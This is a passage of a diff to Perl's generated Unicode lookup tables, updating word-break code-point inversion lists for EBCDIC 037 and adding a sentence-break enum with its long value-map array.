0x16A6E, + 0x16A70, 0x16AD0, 0x16AEE, 0x16AF0, 0x16AF5, + 0x16AF6, 0x16B00, + 0x16B30, 0x16B37, + 0x16B39, 0x16B40, 0x16B44, + 0x16B45, 0x16B50, 0x16B5A, 0x16B63, @@ -361036,13 +78655,19 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x16F00, 0x16F45, 0x16F50, + 0x16F51, 0x16F7F, 0x16F8F, + 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, 0x1B000, - 0x1B001, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -361058,6 +78683,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1D165, 0x1D16A, 0x1D16D, + 0x1D173, + 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, @@ -361066,8 +78693,14 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1D242, 0x1D245, 0x1D400, + 0x1D41A, + 0x1D434, + 0x1D44E, 0x1D455, 0x1D456, + 0x1D468, + 0x1D482, + 0x1D49C, 0x1D49D, 0x1D49E, 0x1D4A0, @@ -361078,12 +78711,16 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1D4A9, 0x1D4AD, 0x1D4AE, + 0x1D4B6, 0x1D4BA, 0x1D4BB, 0x1D4BC, 0x1D4BD, 0x1D4C4, 0x1D4C5, + 0x1D4D0, + 0x1D4EA, + 0x1D504, 0x1D506, 0x1D507, 0x1D50B, @@ -361092,6 +78729,7 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1D516, 0x1D51D, 0x1D51E, + 0x1D538, 0x1D53A, 0x1D53B, 0x1D53F, @@ -361102,28 +78740,46 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1D54A, 0x1D551, 0x1D552, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, 0x1D6A6, 0x1D6A8, 0x1D6C1, 0x1D6C2, 0x1D6DB, 0x1D6DC, + 0x1D6E2, 0x1D6FB, 0x1D6FC, 0x1D715, 0x1D716, + 0x1D71C, 0x1D735, 0x1D736, 0x1D74F, 0x1D750, + 0x1D756, 0x1D76F, 0x1D770, 0x1D789, 0x1D78A, + 0x1D790, 0x1D7A9, 0x1D7AA, 0x1D7C3, 0x1D7C4, + 0x1D7CA, + 0x1D7CB, 0x1D7CC, 0x1D7CE, 0x1D800, @@ -361135,6 +78791,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1DA76, 0x1DA84, 0x1DA85, + 0x1DA88, + 0x1DA89, 0x1DA9B, 0x1DAA0, 0x1DAA1, @@ -361154,6 +78812,8 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1E8D0, 0x1E8D7, 0x1E900, + 0x1E922, + 0x1E944, 0x1E94B, 0x1E950, 0x1E95A, @@ -361229,98 +78889,18 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1F16A, 0x1F170, 0x1F18A, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, + 0x1F676, + 0x1F679, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, 0xE0001, 0xE0002, 0xE0020, @@ -361329,40 +78909,3089 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xE01F0 }; -# endif /* EBCDIC 037 */ +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define SB_ENUM_COUNT 16 + +typedef enum { + SB_Other = 0, + SB_ATerm = 1, + SB_CR = 2, + SB_Close = 3, + SB_Extend = 4, + SB_Format = 5, + SB_LF = 6, + SB_Lower = 7, + SB_Numeric = 8, + SB_OLetter = 9, + SB_SContinue = 10, + SB_STerm = 11, + SB_Sep = 12, + SB_Sp = 13, + SB_Upper = 14, + SB_EDGE = 15 +} SB_enum; + +static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 037 */ + SB_Other, + SB_Sp, + SB_Other, + SB_Sp, + SB_CR, + SB_Other, + SB_Sep, + SB_Other, + SB_LF, + SB_Other, + SB_Sp, + SB_Lower, + SB_Other, + SB_ATerm, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_Other, + SB_Upper, + SB_Other, + SB_SContinue, + SB_Other, + SB_STerm, + SB_Lower, + SB_Upper, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Upper, + SB_Lower, + SB_Close, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Upper, + SB_Format, + SB_Lower, + SB_Close, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Numeric, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_OLetter, + SB_Other, + SB_SContinue, + SB_Other, + SB_Lower, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_SContinue, + SB_Other, + SB_Extend, + SB_Other, + SB_Format, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Numeric, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Format, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Format, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_SContinue, + SB_STerm, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Format, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Close, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Numeric, + SB_Extend, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Sp, + SB_OLetter, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_SContinue, + SB_STerm, + SB_Other, + SB_SContinue, + SB_STerm, + SB_Other, + SB_Extend, + SB_Format, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Numeric, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_STerm, + SB_Lower, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Lower, + SB_Extend, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + 